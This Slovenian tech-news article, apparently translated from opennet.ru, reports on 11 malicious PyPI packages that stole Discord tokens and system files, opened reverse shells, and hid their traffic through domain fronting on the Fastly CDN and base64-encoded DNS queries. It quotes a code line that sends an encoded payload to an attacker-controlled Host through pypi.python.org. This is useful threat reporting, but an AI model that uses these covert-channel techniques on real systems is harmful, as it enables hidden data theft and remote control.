V katalogu PyPI so bile odkrite zlonamerne knjižnice, ki uporabljajo PyPI CDN za skrivanje komunikacijskega kanala

V imeniku PyPI (Python Package Index) je bilo identificiranih 11 paketov, ki vsebujejo zlonamerno kodo. Preden so bile ugotovljene težave, so bili paketi skupno preneseni približno 38 tisoč krat. Odkriti zlonamerni paketi so znani po uporabi sofisticiranih metod za skrivanje komunikacijskih kanalov s strežniki napadalcev.

  • importantpackage (6305 prenosov), important-package (12897) - vzpostavil povezavo z zunanjim strežnikom pod krinko povezovanja s pypi.python.org za zagotavljanje lupinskega dostopa do sistema (obratna lupina) in uporabil program trevorc2 za skrivanje komunikacijski kanal.
  • pptest (10001), ipboards (946) - uporablja DNS kot komunikacijski kanal za prenos informacij o sistemu (v prvem paketu ime gostitelja, delovni imenik, notranji in zunanji IP, v drugem - uporabniško ime in ime gostitelja) .
  • owlmoon (3285), DiscordSafety (557), yiffparty (1859) - prepoznal žeton storitve Discord v sistemu in ga poslal zunanjemu gostitelju.
  • trrfab (287) - poslal identifikator, ime gostitelja in vsebino /etc/passwd, /etc/hosts, /home zunanjemu gostitelju.
  • 10Cent10 (490) - vzpostavljena povratna lupinska povezava z zunanjim gostiteljem.
  • yandex-yt (4183) - prikazalo sporočilo o ogroženosti sistema in preusmerilo na stran z dodatnimi informacijami o nadaljnjih dejanjih, izdanih prek nda.ya.ru (api.ya.cc).

Posebej velja omeniti metodo dostopa do zunanjih gostiteljev, uporabljenih v paketih importantpackage in important-package, ki so za skrivanje svoje dejavnosti uporabljali omrežje za dostavo vsebine Fastly, uporabljeno v imeniku PyPI. Pravzaprav so bile zahteve poslane strežniku pypi.python.org (vključno z navedbo imena python.org v SNI znotraj zahteve HTTPS), vendar je glava HTTP »Host« vključevala ime strežnika, ki ga nadzorujejo napadalci (sek. forward.io. global.prod.fastly.net). Omrežje za dostavo vsebin je poslalo podobno zahtevo napadalnemu strežniku, pri čemer je pri prenosu podatkov uporabilo parametre povezave TLS s pypi.python.org.

Infrastrukturo PyPI poganja omrežje za dostavo vsebine Fastly, ki uporablja Varnish transparent proxy za predpomnjenje tipičnih zahtev in uporablja tudi obdelavo potrdil TLS na ravni CDN, namesto na končnih strežnikih, za posredovanje zahtev HTTPS prek proxyja. Ne glede na ciljnega gostitelja se zahteve pošljejo proxyju, ki določi želenega gostitelja z uporabo glave HTTP »Host«, imena domen gostiteljev pa so povezana z naslovi IP izravnalnika obremenitve CDN, ki so značilni za vse odjemalce Fastly.

Strežnik napadalcev se registrira tudi pri CDN Fastly, ki vsem ponuja brezplačne načrte in celo omogoča anonimno registracijo. Omeniti velja, da se za pošiljanje zahtev žrtvi pri ustvarjanju "povratne lupine" uporablja tudi shema, vendar sprožena s strani napadalčevega gostitelja. Od zunaj je interakcija s strežnikom napadalcev videti kot legitimna seja z imenikom PyPI, šifrirana s potrdilom PyPI TLS. Podobna tehnika, znana kot »fronting domene«, je bila prej aktivno uporabljena za skrivanje imena gostitelja pri obhodu blokiranja, pri čemer je bila uporabljena možnost v nekaterih omrežjih CDN za dostop do HTTPS z navedbo fiktivnega gostitelja v SNI in dejanskim prenosom imena zahtevanega gostitelja v glavi gostitelja HTTP znotraj seje TLS.

V katalogu PyPI so bile odkrite zlonamerne knjižnice, ki uporabljajo PyPI CDN za skrivanje komunikacijskega kanala

Za prikrivanje zlonamerne dejavnosti je bil dodatno uporabljen paket TrevorC2, da bi bila interakcija s strežnikom podobna običajni spletni navigaciji, na primer zlonamerne zahteve so bile poslane pod krinko prenosa slike »https://pypi.python.org/images/ guid=” s kodiranjem informacij v parametru guid. url = "https://pypi.python.org" + "/images" + "?" + "guid=" + b64_payload r = request.Request(url, headers = {'Host': "psec.forward.io.global.prod.fastly.net"})

Paketa pptest in ipboards sta uporabila drugačen pristop za skrivanje omrežne dejavnosti, ki temelji na kodiranju uporabnih informacij v poizvedbah do strežnika DNS. Zlonamerna programska oprema prenaša informacije z izvajanjem zahtev DNS, kot je »nu4timjagq4fimbuhe.example.com«, v katerih so podatki, poslani nadzornemu strežniku, kodirani z uporabo formata base64 v imenu poddomene. Napadalec ta sporočila prejme tako, da nadzoruje strežnik DNS za domeno example.com.

Vir: opennet.ru

Dodaj komentar